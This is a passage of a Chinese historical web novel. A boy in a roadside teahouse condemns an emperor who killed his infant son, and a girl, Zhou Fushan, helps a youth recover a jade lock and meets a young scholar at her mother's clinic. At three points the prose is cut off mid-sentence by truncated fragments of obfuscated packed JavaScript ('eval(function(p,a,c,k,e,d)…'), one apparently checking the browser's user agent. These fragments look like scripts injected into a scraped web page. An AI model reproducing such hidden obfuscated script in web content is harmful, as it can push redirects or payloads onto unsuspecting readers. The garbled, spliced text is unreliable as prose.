凉州地处西北，常年少雨。总要等到四月前后，山上的积雪才能尽数化开。入夏便是满眼苍翠，满山碧草连天，城中的人会去饮马坡策马闲行；冬天苦寒萧瑟，朔风凛冽。城内地势平缓挡风，素来落雪稀少，饮马坡倒是空旷寒凉，岁岁积雪厚积，人行其上，脚踩在雪里的声音咯吱咯吱的。 站在饮马坡下，一抬头，还能瞧见那有座终年不化的雪山。蓝灰色的山体顶着帽子，夏天也戴着。周福善从小看到大，看习惯了，那雪远远地白着，像天边一抹不会散的云。 周福善正默然地出神，忽地耳尖微微一动，几道压抑的闷哼夹杂着粗重的推搡动静，猝不及防地飘进耳边。 6. 岔路 承朝建元六年、兖州官道境内。 “古语有云，气郁于心，辄生幻嗅，嗣帝正如此时。此刻，目及危墙之下这些旌旗人马，他分明嗅到了一缕，本不该存在的，属于嗣朝龙兴之地的铁锈味。” “嗣帝听罢侍卫回禀，面色微起一丝波澜，转瞬便敛了个干净。只见他俯首立在危墙之上，身形稳如磐石，分毫不动，自有一派帝王沉敛气度。” “他孤身伫立，默然等待。一边盼着苍天垂怜庇佑，一边等宫内啼声传来。为了这江山社稷一线存续，他甘愿割舍私情、舍身为国。” “嗣帝高高举起那明黄锦缎裹就的襁褓，眸光冷硬似冰，神色凛然。只听，他字字铿锵、掷地有声：‘上天有好生之德！朕今日愿以稚子之身，平息天降灾厄，还望上苍垂怜，赐福于我大嗣万里河山’！” “啪——” 一声拍桌响动猝然而起，硬生生打断了说书老朽激昂的话头。 茶棚里霎时落针可闻，众人皆惊愕回头。 只见寥寥几方粗制方桌里，一布衣少年背身而坐，歪斜的杯盏中，茶水正顺着桌沿，一滴滴缓缓淌落。 未等老朽出声，那少年已开了口：“先生，您多大年纪了？”他脊背绷得笔直，一手仍按在桌面，一手垂落膝头，指腹微微蜷着衣角，话音平静。 说书人望去，见是个布衣灰裳的束发小郎君，捋着短须笑了笑，客气回道：“老夫今年六十有九了。” 少年点了点头，像确认了什么，这才缓缓起身。他个子不高，体态瘦柴，身形却立得挺括，单从背影轮廓来瞧，约莫只十二三左右的年纪，混在一众粗汉子、老儒中间极为显眼。 少年转过身面向说书老朽，一双稚嫩生涩的眉眼里，藏着如狼般的执拗： “人生七十古来稀，十年少小，十年老弱，其余五十年，分成日夜，只余二十五年，再加上刮风下雨、三病六灾，人这一生还有多少好日子。” “先生，您这个年纪，本该在家含饴弄孙，安享天伦。”少年顿了顿，语速平稳，却字字珠玑，“为何偏要在这官驿通衢，为那吃人的往事，粉饰张目？” 老朽闻言一怔，捻着山羊胡的手顿住，略微打量了这粗布少年两眼，语气还算平和：“敢问这位小郎君，有何指教？”他行走江湖多年，深知在驿站这种人杂之地，不宜轻易结仇。且这少年瞧着年纪尚浅，便已早早地束了发，只怕是家中早已无人，亦或是个难缠角色。 老朽话音落下，那少年已推开条凳，眸光沉冷地径直走了过来。 茶棚逼仄，不消几步，少年在破木案几前停下，微微俯身作揖，道：“不敢当什么指教。只是先生把吃人的坏事，偏说成君王的难处，听得人心里堵得慌，替那摔死的婴孩不值。” 此言一出，茶棚里静了两下。下一瞬，便嗡的一声炸开了锅。 说书老朽更是面露僵色，不可置否地看着少年。 周遭里的茶客各有反应，几位粗布短褂的老者端着陶碗，颔首轻叹：“这孩子话虽直，却在理……”话没说完，就有腰间挎着褡裢，商旅打扮的粗豪汉子拍着桌子反驳：“你这臭老丈懂什么？普天之下莫非王土，身为君王岂有无难处的！” 少年闻言，忽然直起腰背。那双本如寒潭的双眼，此刻眸光锐利如针，倏然投向那出声的商旅。 “好一个难处。” 他声音不高，声线仍带着孩子似的清脆透亮，却因那份与年纪全然不符的冷冽，硬生生压下了茶棚里的嘈杂。 茶棚里陡然又静了，只是这次皆是屏气凝神，个个支棱着耳朵，目光齐齐锁在那少年身上。 少年环视一圈，目光扫过在场的每一张脸，清亮的声音如芒刺背：“我且问问诸位叔伯，若是天灾再来一回，朝廷袖手旁观，世家权贵们也不肯伸手相助。可他们偏偏闯进门来，丢下两锭闪着金光的金铤，要拿你们尚在襁褓的幼弟，或是刚出生未睁眼的孩儿，去给上头填难处，还美其名曰是恩典。换作是你们，又当如何抉择？” 他说完，视线如钉子般投向那商旅。 商旅被他看得脸涨红，话语一噎：“这、这怎能一样！那是皇子，是灾星！关乎江山社稷……” “灾星？”少年短促地笑了一声，那笑声里没有温度，只有尖锐的嘲弄，“城楼之下，血淋淋的一团，是什么灾星？” 此言一出，茶客们众皆面面相觑。 少年不待众人反应，步步引导话头，追问：“常言道，虎毒尚且不食子。嗣帝竟能狠心亲手摔杀亲子，他的心还算是肉长的吗？连自己的骨血都能下这般狠手，那我们这些寻常百姓的性命，在他眼里，和脚下的泥土、路边的蝼蚁，又有什么两样？” 话音刚落，少年猛地抬手指向角落里一名衣衫褴褛的行客，他正轻声哄着怀里哭闹不止的幼儿吃糖。 “看那位大哥，他或许道阻且长，囊箧累累，但若有人要动他的孩子，他必会以命相搏！这才是当父亲的本能。” 少年收回手，目光如刀，刮过众人：“可嗣帝身为帝王？连最基本的人伦天性都抛得一干二净。你们却只用‘君王无奈’这轻飘飘四个字，替他披上一层悲情外衣。到底是这世道荒唐可笑，还是甘愿替他粉饰遮掩的你们，更可悲可叹？” 一片闷声中，唯有那行客猛地抬眼，狠狠啐了口唾沫：“呸！那年老子就觉着狗皇帝真不是个东西，那跳大神的说他家儿是灾星，他竟真信了。换作是别人说我儿半句，我当场就撕烂他的嘴！” 他轻轻晃了晃怀里酣睡的孩子，话音更沉，满是愤懑：“偌大一个朝廷，碰上一场夏雪奇灾，就慌得跟要去投胎似的。半点抗灾的储备没有，安抚百姓的法子也没有。到头来还得靠着各世家出面承办粥棚，费心费力兜底，这朝廷到底有什么用？ 身为君王，要是真把百姓的死活放在心上，国库怎会拿不出余粮赈灾，工部又怎会拿不出法子帮百姓御寒？嘴上日日说着勤政为民，到底勤在了哪儿、又体恤了谁？依我看，不过是整日钻营权术，一门心思贪图享乐罢了！” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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少年说完话，再未看棚中任何人，转身回到座位，将几枚磨得发亮的铜钱，轻轻放在了湿漉漉的桌面上。随即，在所有复杂难言的注视中，瘦小的身影，一步步走出茶棚。 风从两面灌进来，吹得棚顶名曰“歇脚”的破旗幌子猎猎作响。这间用茅草和旧木胡乱搭就的茶棚，统共四五张破桌，是那说书老朽日日对着天南地北寥寥行客，讲述七年前旧事的唯一场所。 少年走到路边，解下拴着的一匹老马，牵着缰绳，脚步略微一顿。 兖州荒野之上，三条土路豁然分岔。一条向东，蜿蜒没入远山，可往京师方向；一条向西，视野尽头苍凉山影隐约起伏，那是凉州的方向。 凉州路虽远，却居边塞军事重地，传闻中军纪严明、不论出身只论军功的“霍家军”，正在那里征募儿郎。 少年没有回头，单薄的身影在西斜的日光下挺得笔直。 7. 河灯 在少年牵马转身的刹那，秋风鼓起他单薄的衣衫，胸前坠出叮一声清脆，像是玉器或金类的小贴身之物猝然相撞。他下意识地抬手覆上胸口，稍顿片刻，才松了手，攥紧马缰抬步，毅然踏上西向的土路。 那道身影很快便消失在岔道拐角扬起的尘土之后。 茶棚内只余众人，对着那摊未干的茶渍，和一段被彻底颠覆的‘历史’，久久回不过神。 风从岔路口灌进来，吹得棚顶的茅草簌簌作响。 那商旅闷闷地嗑着瓜子，半晌，才像找回声音般喃喃：“可、可那年夏天，雪确实邪性啊……冻死了好多人，我路过住店那几天，见秣陵城外天天往外抬尸首……老皇帝，或许真是没办法……” “没办法？”角落里，一个一直沉默抽旱烟的老驿卒，磕了磕烟杆，沙哑开口。他眼皮耷拉着，道：“这话，老汉当年听不少从江都逃出来的兄弟唠过。” “他们言，盛夏凛灾是真，可他们也说，世家贵人们的暖阁子、地龙烧得烫脚，守城门的兄弟冻得刀都握不住时，倒看见王相府上的管家，领着车队往自家别院运新炭……” 老驿卒说着，抬起浑浊的眼扫了说书老朽一眼：“巫师？嘿……那跳大神的，收没收某位大人物的金饼子，谁说得清？反正，最后用嗣帝亲儿子的命填了坑，是真的。” 棚外的驿卒听了，忽地撩起眼皮瞥了那老头一眼，鼻间轻嗤一声，复又低头拨弄算盘。 乱世里，这种牢骚他听得多了，更何况在这种鸟不拉屎的地方，说是军队驻扎，可只要不动手，不出乱子，谁有工夫深究。 而在他身侧，一个一直独自喝着粗茶、风尘仆仆的络腮胡汉子，缓缓放下了手中的陶碗。 他眯着眼，望着少年消失的那条岔道口，指节无意识地在粗粝的桌面上，轻轻叩了两下。 那眼神，不像在看一个孩子，倒像在打量一块未经打磨，却已露出慑人寒光的铁坯。 “……外地佬，装什么哑巴！手里攥的什么？拿来吧你！” 周福善蹲在原地，警觉地朝四周寻去。借着水面朦胧的光，她视线定睛落在了距离最近的斜岸芦苇丛中。依稀可辨有三四个影子，正围着一个更瘦高的影子。 一群人叽里咕噜地说了些什么，声音弱了下去。而后，只听一声痞笑传来：“我去，不小心掉下去了，唉——真可惜。” 周福善心头一紧，急忙起身顺着视野望去。天太黑了，她只记着刚似乎听到有什么东西落水的声音，咕咚一声闷响。 再者，听这群人说话的口气，估计是看重人家不是本地人，觉着好欺负。周福善向来见不得这般恃强凌弱的场景，灵机一动，迅速蹲下身，将自己刚点燃的两盏荷花灯用力推向河心，接着伸手使劲搅动水面，让他们加速朝那片芦苇荡飘去。 紧接着她又学起街坊石婶平日里呵斥石天流的语气，朝芦苇荡方向，猛不丁敞开嗓子就喊：“巡夜的官爷哎！赶紧往这达来！往这达来！芦苇荡里头有歹人抢东西打劫哩！” 声音在寂静的河岸传得很远，沿路行人纷纷注目望来。那几个地痞无赖顿时慌了神，面面相觑，个个神色紧张。 “妈的，真有官？” “赶紧走、赶紧走！为这点东西犯不着惹麻烦！”几人狠狠啐了一口，慌忙钻出芦苇丛逃窜，甚至没看清喊话的是个小姑娘。 他们慌不择路绕到周福善身后，没留神脚下，忽然惨叫连连，当场摔得人仰马翻。周福善闻声回头望去，只见那几个无赖正狼狈地互相搀扶着爬起身。撞见她的目光，还恶狠狠地瞪了眼，呵斥道：“死丫头，有什么好看的！” 周福善立马扭过头，捂着嘴偷偷憋笑。 “你眼瞎是不是？路边那么大一块石头看不见，故意绊老子是吧！”其中一个无赖气恼地拍了把同伴的脑袋，满心憋屈地抱怨，“不要让老子知道是哪个故意在路中间放的石头，要让老子知道，老子非抽他不可！” 同伴一脸懵，摸着头问道：“抽啥呀老大？你那根鞭子不是被你阿爷拿去赶羊，掉溪里冲走了吗？” “我、我他娘的抽你一耳光，我看你是个猪脑子！”那地痞被同伴一句蠢话气得脸色铁青，抬手又是狠狠一巴掌拍在他脑袋上。 待到几人一瘸一拐地狼狈走远，周福善才随手捡起一颗小石子扔进河里，水面漾开层层涟漪，她抿着嘴暗自窃笑：活该。 随即，她起身提着裙摆向着那片芦苇荡跑去，深一脚浅一脚地踩进潮湿的芦苇摊。 一盏河灯正好漂到近旁。 微光朦胧间，一道清瘦颀长的身影半浸在幽深的河水中，大半个身子都被河水没过。他像失了心神一般，在冰冷的泥水间胡乱地摸索，急切又无助。 “喂！你在找什么？！”周福善询问。 “我的锁！我的长命锁！”少年扬声喊道，猛地扬手朝水里愤愤捶去，霎时泥水飞溅。 周福善下意识地抬手挡了挡，裙衫上仍被冷不丁溅上了零星的泥点。她没顾得上气恼，只劝说：“这里黑灯瞎火的，你这般乱找，哪里能找到啊？” 少年垂着头，没有回应她的话，仍旧沉闷地在泥水里摸索。 周福善指尖抠着指节，脑袋飞速旋转，想来还是头一次见到这般‘惊心动魄’的场面。 真鬼没见着，反见着个“活神仙”。 这样黑沉的夜，这般翻腾的水面，偏又是这样特殊的日子，纵使河心浮着再多星星点点的微光，这般找下去，也无异于螳臂当车，徒劳无益。 反而极有可能……一失足，白白踏进了鬼门关。 周福善心念一动，没再劝，立即提着裙摆转身向着城内方向奔去。 待听见离开的动静后，那少年才喘着粗气终于平静了下来。 约莫过了好一阵子，少年才自行游上岸，浑身湿漉漉地跌坐在芦苇丛中。正兀自怔神间，他肩头忽然传来一丝轻软的动静，不知是谁的指尖，轻轻戳了戳他。 少年失神扭头望去。顿时，只觉喉间一阵发紧，堵得哑然无声。 原是个十一二岁的小姑娘，不知从哪儿找了一盏明晃晃的灯笼匆匆赶来。灯火融融，将她稚嫩且娇憨的五官映照得清晰。眉眼软和，尚在稚气的脸颊，还挂着一丝藏不住的狡黠窃喜。 许是来得太急，她额角还凝着层细密的薄汗。 “给。用这个……你应该、应该会好找些。”她气都没喘匀，便将一把用来捕虫的捞网，连同灯笼递了过来，不忘叮嘱，“贸然下河，太危险了。” 少年神色微怔，并没有接过，只是缓缓朝她摊开攥着的掌心。 那是一枚玉质的长命锁。 色泽莹润，质地上乘，刻着“长命富贵”四个小字。 “不用了，”他沙哑着嗓音说，“……已经找到了。” 听见此话，周福善眼眸顿时一亮：“太好啦！”她自然地又问，“在哪找到的？” 少年目光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她抬眼，视线与他相撞。 他不自觉咽了口唾沫，低声道：“……多谢。” 少年没说别的，坐在岸上，弯下腰将那盏灯小心翼翼地推入水中，用手轻轻拨了拨水面，目送着它向河心飘远，嘴唇微动，却无声。 周福善没有打扰对方，只是静静地站在一旁。她看着这少年，估摸十七八左右，本该为一家子操劳的年纪，背影却显得那么沉重，那么孤寂，仿佛把全世界的黑夜，都背在了自己单薄的肩上。 等少年放完灯，她才语气无奈又笃信地开口：“你打架不行。下次他们再堵你，你别往这死胡同里退。从这儿往东走，穿过那片坟地，不可怕的，那里有个废砖窑，里面路很绕，他们肯定追不上你。” 少年顿了顿，低声只问：“……你不怕我吗？”他刚才的样子，应该很可怕。 周福善笑了，指了指河面万千灯火，说道：“中元节，满河都是回家的人。你只是其中一个迷路的。”她顿了顿，眼神飘向遥远漆黑的下游，“我也迷路过。但现在，我有窈娘了。” 说完，她俯身捡起捞网准备离开。走了两步，又拎着灯笼回头，瞳色幽深。 “喂，我叫福善。福气冲天的福，善意满满的善！要是……要是下次过节你没地方去，可以到城南的周氏医馆找我。我请你吃窈娘做的烤饼！千万别再下水犯浑了，这可比碰见‘真鬼’吓人多了！” 说完，她像一只轻巧的夜雀，转身消失在了沉沉的夜色与缭绕的烟波浩渺中。 唯余少年静坐在河畔，手里紧紧攥着失而复得的长命锁，掌心却残留着那盏残灯的温度。 他望着她消失的方向，低头从怀里拿出一只早已湿透的纸船，许久，低声重复了一遍那个名字： “福……善。” 8. 墙头 “再高点，再高点……石大牛，你没使劲啊？”周福善一脚踩在石天流背上，踮着脚尖，指尖堪堪往墙头够去。 石天流咬着牙，稳稳扎着马步，身形沉得像块磐石，双手牢牢托住她两条双腿，拼命向上撑，回道：“我已经使出吃奶的劲儿了！” 周福善好不易扒住墙头，赶紧抻长脖子往院里张望。 院里围着黄土篱笆，种着一小方菜地，杆上晾着几件刚浆洗过的孩童旧衣裳，在往下淌水；地上零星散着些小玩意，有个手工做的小木马；堂屋内飘出阵阵饭香气，直往鼻尖里钻。 “咕——” 石天流一愣：“什么动静？” 周福善不好意思地捂了捂肚子，小声道：“味道太香了，肚子不争气饿了。” 石天流：“你早上明明刚啃了三个炊饼，咋就又饿了？” 周福善被戳中心思，嘴上却不肯服软：“他们家炊饼就那么一丁点，根本不顶饿，我哪里能吃得饱。” 石天流一听这话，眼珠滴溜溜一转，忙顺着话头，眉眼弯弯笑着接话道：“福儿，那我明天给你带我阿娘亲手做的肉饼，可香了！保管你一吃就、就眼睛亮得、下巴都要掉下来了！” 周福善听见此话，没好气地白了他一眼：“呆子，那叫目瞪口呆。” 石天流：“对对对，就是目瞪口呆！我一时嘴笨记错了，还是福儿你机灵。” “呆子。” 周福善小声嘟囔一句后，依旧定定望着院子里。她瞧了半晌，半点异样都没瞧出来，别说什么传闻中的鬼孩子影了，连个出门走动的人影都不见一个。 她心里不由得犯起了嘀咕，那茶楼里说书老道唾沫横飞的奇闻，到底有几分真假。 然而过了一会儿，墙根下传来石天流磕磕巴巴的声音：“福儿、福儿……你刚刚说惊得下巴都要掉了，那词叫啥来着？” 周福善目光仍旧落在院里，语气淡淡地回：“目瞪口呆。” 石天流连忙又追问：“那、那，那还有个形容人像木头，跟鸡似的，又是啥词？” “呆若木鸡呀。”周福善低头瞥他一眼，语气里满是嫌弃，“平日里让你多看两本书，你偏不肯，天天跟着你爹瞎练什么旱地拔葱，这下好了吧？连个成语都不认得，笨愣愣的。” 这话落下，石天流顿时没再接腔。 只因周福善也瞬间愣住，整个人都懵了。 竟是不知从哪儿冒出来一个六七岁的小男娃，就站在他俩跟前咧着嘴傻乐。手里攥着一只嫩青的竹蜻蜓，小嘴张着，里头还含着半融化的饴糖，嘴角黏糊糊的一圈。 石天流偷偷咽了口唾沫，声音发紧：“福、福儿……”他双腿忽然不受控地打起了哆嗦，“我、我忽然记起来，家里还有棵葱没拔，我得回去帮我娘干活！”话音刚落，他竟忘了肩头还驮着人，转身就要拔腿开溜。 周福善站在他肩头被晃得身形不稳，急忙道：“诶，你别乱晃，我人还没下来呢！” 可石天流此刻哪里还听得进去。周福善没办法，只能伸手死死扒住墙头，双腿离地悬在半空。 “石大牛，你这个像耗子的家伙！” 石天流刚跑出两步，听见声不由得皱着眉回头：“福儿！”可视线一落在眼前，传闻是被换了魂的孩童身上，他那点想跑又怕把对方独自留下的心思，瞬间就卡在了心口，进退两难。 周福善死死扒着墙头，两条腿在半空慌里慌张地扑腾。心里却忍不住的腹诽：自己明知道石大牛徒有一身蛮力气，胆子却小得离谱。偏偏还挑了这家伙来凑热闹。枉自己天天在武馆里扎马步练功，眼下竟半点派不上用场，简直亏大了。 她转眼瞥向那小男孩，只见他一双大眼睛一眨不眨盯着自己，歪着脑袋好奇打量个不停，随后乐呵呵举着竹蜻蜓，一步步朝她逼近。 周福善瞬间心头一紧，急忙出声吓唬：“你别过来啊！我跟你说，我身上可带着我娘给的驱晦散，你再往前凑，我可就不客气了！” 谁知下一刻，石天流竟抄起一把破木扫帚冲了过来，直直拦在小男孩身前。 身子明明吓得战战兢兢，气势却不输，凶巴巴地瞪着眼喝道：“小鬼！我警告你，不准靠近！不许再往前凑近我家福儿半步！不然……不然我对你不客气了！”说完，他煞有介事地挥动扫帚，故意重重哼了一声。 小孩见状呆了呆。顷刻间小脸一垮，当场瘪着嘴抽抽搭搭大哭起来，含含糊糊地喊：“娘……” 屋里的人也似乎是听见了孩子的哭声，立刻传来妇人扬声的问话：“宝儿，怎么啦？” 二人这下心都提到了嗓子眼。 周福善也顾不上三七二十一，咬牙松开扒着墙头的手，闭着眼纵身就要往下一跳。 就在这时，一双手却及时出现，稳稳揽住了她的腰部。 周福善垂眸，原是石天流眼疾手快，猛地扔下扫帚快步冲了过来，堪堪伸手将她接住。奈何下坠的冲势太猛，他根本站不稳，踉跄着后退两步，两人一同重重跌坐在地。 落地刹那，石天流本能将她护在怀中，自己后背却狠狠磕在地上，忍不住低低闷哼了一声。 周福善见状，连忙撑起地面起身，低头看向对方。只见石天流正倒在地上，疼得眉头紧蹙、龇牙咧嘴。 就在这时，屋内隐约传来走动声响。周福善心头一紧，也顾不上多问他伤势，顺手捡过一颗落在地的饴糖，又伸手一把将石天流拽起，两人慌里慌张拔腿就往前跑。 没一会儿，屋里的妇人赶紧推门出来。随即只见自家啼哭的孩子，还有远处两个一瘸一拐、仓促跑远的半大背影。 妇人怔了怔，一句话也没说。只是缓步走近孩子跟前，掏出绢帕，弯下腰温柔擦去他满脸泪痕。 小孩渐渐止住哭声，攥着竹蜻蜓，朝方才两人跑掉的方向望了望，才伸手将竹蜻蜓递到她面前。 妇人接过竹蜻蜓，柔声哄道：“这只不好看，阿娘回头给你做个崭新的。等有了新竹蜻蜓，他们瞧见，自然就愿意过来陪你玩了。” 小孩听了，立马乖乖点头，口齿费力地央求：“大……要大的！” 妇人爽快应了声，牵起孩子的手，望向眼前少年和少女早已跑得没了踪影的方向，最终只轻轻叹了口气，走进了屋。 “有鬼啊！有鬼！” 一群半大孩子在街头撒欢狂奔，口中咋咋呼呼嚷个不停，引得路边行人纷纷侧目张望。 其中扶着腰、一瘸一拐地小跑在最前头，嚷嚷得最起劲的，正是石天流。有路人好奇地伸手拉住他胳膊，追问：“哪儿有鬼啊？”毕竟中元夜昨日才过去，大伙对这类神异怪事，还新鲜着呢。 石天流脚步猛地一滞，慌里慌张道：“就、就那卖炊饼冯娘子家的娃！是个小鬼！我亲眼瞧见的！……”他扶着腰冷不丁抽了一口凉气，才拧着眉龇牙咧嘴的补充，“嘴巴张得老大，只顾着淌口水，笑起来还怪怪的，别提多吓人了。” 话音刚落，“啪”的一下，他头顶忽然挨了一记巴掌，一抹橙黄色身影从他眼前飞快掠了过去。 周福善一边跑，一边不忘回头瞪着他，故意凶巴巴吓唬：“石大牛你还敢说！夜里冯宝儿第一个就来拘你的魂！”岂料话音刚落，她一个回头，更是陡然倒抽一口凉气： “嘶——” 周福善下意识抬手按住额头，秀气的眉峰不自觉轻轻蹙起。略一缓神抬眼，才发觉自己方才只顾扭头乱跑，竟一头直直撞进了旁人怀里。 身前少年挺拔如松，约莫只十七八模样，骨相清俊，眉目英挺。着一身黑蓝劲装，剪裁利落干练，自带几分飒然风骨。手中牵着一匹青黑白额的骏马，修长手指随意拢着缰绳。 周福善脸颊瞬间染上薄红，心头一阵窘迫，慌忙往后退了半步，垂着眸连连致歉：“对不起，对不起，我没留神看路，失礼了。” 话音刚落，她羞得不敢再抬头多看一眼，攥着裙摆便转身快步逃也似的跑远了。 唯余那少年仍旧立在原地，身形未动，侧身凝着她匆匆离去的背影，薄唇微张，似有话语欲出口，默了又轻轻抿起，终归沉默。 片刻后，他缓缓敛回视线，垂眸落在自己的指腹上，下意识轻轻捻了捻。才拢了拢手中缰绳，牵着骏马缓步转身，径自朝前慢慢走去。 周福善奔出半里之遥，忽然脚步一顿，缓缓驻足。 她回过头，望向方才奔忙的长街。街上人流熙攘，沿街摊贩鳞次栉比，转瞬便将来路视线遮了个严实。 周福善蹙起眉头，心头不由生出几分疑惑，轻声喃喃：“奇怪……” 方才那少年身上的气味格外熟悉，是一缕被日头晒透的麦秸暖香，分明曾在哪闻过，却怎么也想不起来。 可仔细回想，她方才只匆匆瞥了对方一眼，虽未记清真切模样，却记得他身姿清挺、容貌卓然，气度全然不似寻常旁人，倒像是一位即将要奔赴远方的少年郎君。这般出尘人物，若是从前真有过交集，她断然不会毫无印象。 想来，大抵从未相识。 周福善轻轻摇了摇头，压下心底那股莫名的熟悉感，旋即提起裙摆转身快步奔上石阶，一头扎进了医馆。 她眉头微微蹙着，口中脆生生直唤：“窈娘——” 周窈娘正坐在诊案低头写药方，字迹娟秀落然于纸，听见声响，头也未抬地开口：“我的活祖宗，你今日又是在外撞见什么新鲜趣闻，跑这般急慌？” 周福善立刻凑到案边，本想把方才出门、去冯娘子家探险的怪事一股脑全盘道出，可目光随意往旁边不经意一扫，话音瞬间哽住。 原是角落药柜旁，静静坐着一位粗布白衣的男子。 他微微低头，执笔伏案，正凝神在纸上写着什么。面前摆着一沓厚厚的药方子，脊背却如青松般挺得笔直，毫无半分佝偻慵懒之态。 周福善心头顿时生出几分诧异，忙悄悄抬眼，朝窈娘递去一个满是疑惑的眼神。 自家开的本是女科医馆，因家中只有孤儿寡母，所以素来只接诊女眷，平日里极少会有外男随意出入。更何况单看这背影，一股温文尔雅的书卷气度，瞧年纪也不过十几岁光景。 周福善心底暗自纳闷，怎么也想不通，这般年少清雅的陌生男子，怎会无端出现在自家女科医馆里。 周窈娘迎上女儿望来的目光，一眼便看出她心底的满腹疑惑，却没有出声解释，只冲她温婉浅然一笑，复又低头执笔继续写方。 那边的白衣男子写了一半，便搁下了笔站起身，将一沓整整齐齐的纸页双手奉上，神情恭敬地递到她面前。周窈娘搁下手中狼毫，伸手接过纸页，随手粗略地扫看了两眼，轻声道：“我嘱你誊抄五十张药方，一炷香时间，你竟这般快便完工了。” 男子微微躬身，语气谦逊平和：“晚辈只誊了一十七张。其中有一张方子，用药分量与前一张稍有相悖，两张同治小儿同一种咳疾，配伍却大不相同，不敢贸然往下誊写，特拿来请周娘子先行核验斟酌。” 周窈娘闻言，低头盯着那张药方，果见页脚处落着一行清秀细楷批注：此方与前第十三方，小儿咳疾症同而药异，恐为誊抄误记，烦请先生核验。 一旁的周福善早已按捺不住，悄悄凑上前抻着脖子探头张望，一眼瞧见工整俊逸的字迹。忍不住脱口出声：“咦，你字写得可真好看！你一定是饱读诗书、上过学堂的读书人对不对？” 男子闻声抬眸，目光落向她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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周窈娘听了，一时竟不知该如何言语。自家这野丫头哪儿都好，脑子灵光，一点就通，药理配伍更是天赋过人。前一刻才刚教了草药配法，隔日便能给王婆家的猫配出一剂宁神散来，就是这偏生爱打抱不平的性子，怎么也改不过来。 那男子静静地立在一侧，听着母女俩拌嘴闲谈，半晌不曾开口打断。 周窈娘回过神，放下手中药方，忽然起身看向他，语气温和道：“小先生，你饱读诗书，又知晓药理根底，实属难得人才。只是我家只开女科医馆，你也瞧得见，往来皆是妇人女子，实在没有你施展本事的地方。” 话锋稍缓，她又接着道：“凉州城儒学风气鼎盛，往来商旅、文人学子数不胜数，你不如再去寻间学堂，或是别家医馆另谋出路。” 男子闻言，连忙躬身一揖，恳切道：“晚辈深知周娘子心中顾虑，只是晚辈确是真心实意想留在医馆学艺谋生。晚辈初入城中，举目无亲，无处投奔，若是娘子肯收留，便是从打杂跑腿的杂役做起，也是晚辈之幸。” 他一字一句说得极为恳切，周福善听了，也忍不住为其开口：“窈娘，我看这位大哥哥识文通墨的，平日里医馆只你一个人操持，凡事都需靠自己，多个帮手你也多省一份心嘛。” 她指尖无意识绕着裙带轻轻打转，语气轻巧，“不如就让他留下，帮你誊方子、晾药，或是整理脉案，不入内室，不接触病人就是了。” 周窈娘听见这话，冷不丁冲她使了个眼色，示意她先噤声。转而，垂眸淡淡瞥向男子，语气疏离却不失温和：“小先生，你心意我知晓，只是我这医馆本就朴素，人手精简，并无多余空缺收留外人。再者医馆琐事繁杂无趣，并非寻常人能熬得住，你还是另寻别处安身另谋出路吧。” 男子闻言神色一急，正要再开口央求，窈娘却已转过身去收拾药柜上摆着的药材，淡淡补了句：“不必多言，我意已决。” 男子定在原地，身形僵了一瞬，眼底那点希冀瞬间落了下去，黯然敛了神色。 他终究识趣，不再多作央求，只垂头拱手，低声道：“晚辈明白了，叨扰周娘子了。”说罢，便默默退后半步，身子微微躬着，拿起案上携带的青灰色包袱，带着几分落寞静然离去。 他转身朝外走的时候，周福善留意到他的包袱不似寻常人家那般软塌塌的，只装些换洗衣物。那包袱四四方方，有棱有角，瞧着还挺有分量。缝隙间隐约露出一点蓝布书页的轮廓，瞧模样里头多半装的是书卷。 周福善暗自感慨，果真是个爱读书的读书人，就连出门在外，也时刻不忘带着书本。 待男子走下石阶，周福善突然快步追了出去，扬着手好奇地喊道：“喂，大哥哥，你叫什么名字呀？” 男子闻言微微一怔，随后眉眼温润，含笑着答：“具争。据理力争的争。” “具争？”周福善低声默念，“据理力争……”这名字倒特别，一听便有几分文人墨客的味道。 她扬起小脸，也笑意盈盈开口：“那大哥哥，你日后若是在凉州常住的话，说不定我们还会再碰面呢。” 连她自己也说不上来缘由，明明是头一回相见，却偏偏对这人打心底里生出一股莫名的亲切感。 具争唇角噙着一抹浅淡笑意，轻声应道：“一定会的。”说完，他微微颔首，旋即转身缓步离去。 周福善立在阶上看着他走远。 那方青灰色包袱随着步伐微微晃动，棱角时不时顶起布面，像里头装着的不只是书卷，而是一个方正的旧木匣。 周福善忽然想起方才具争坐在药柜旁执笔誊方的侧影，背脊笔直，握笔时拇指微微内扣，写出来的字却清俊得不像话。 那姿势倒让她想起自己。 窈娘纠正过她无数次，她总是改不过来，后来索性不改了。今天见有人用同样的姿势写字，心里莫名踏实。 像在陌生的街巷里，忽然看见一盏和自家门口同样的灯笼。 待人影彻底消失在长街，周福善转身蹦跳着跑回医馆。 9. 归燕 午后骄阳高悬，日色灼灼。医馆门外市井喧嚣，摊贩的吆喝声此起彼伏传进耳边。 周福善支着腮，懒懒趴在药柜上，目光凝着窈娘整理药屉的背影。只见她素指纤长，拈起一片桔梗细瞧，语气淡淡地说：“追出去了，还问了名字？” 周福善歪着脑袋想了想，才笑着说：“他叫具争。据理力争的那个争。”说完，又补了一句，“窈娘，他真的只是个过路的读书人吗？他那包袱看着怪沉得。我看他粗布麻衣，不像有闲钱买书的。” 窈娘手上的动作微顿，从袖中掏出那张具争方才批注过的药方，转过身重新铺在诊案上。 ——此方与前第十三方，小儿咳疾症同而药异，恐为誊抄误记，烦请先生核验。 她道：“寻常落魄书生可辨不出两张方子用药相悖。他若只粗浅通翻过几本医书，懵懂不识也罢，若素有涉猎医籍，只怕是难以知根晓底。”说罢，她便将那张方子单独夹进了手边的一本脉案里，没再言语。 周福善微怔，忽地从脉案中再取出那张方子，凝眸细看，眉头不由轻轻蹙起。她随手又取过先前的第十三方，两两比对。 ——治寒饮咳喘，若腑行溏者，去麻黄加葶苈…… 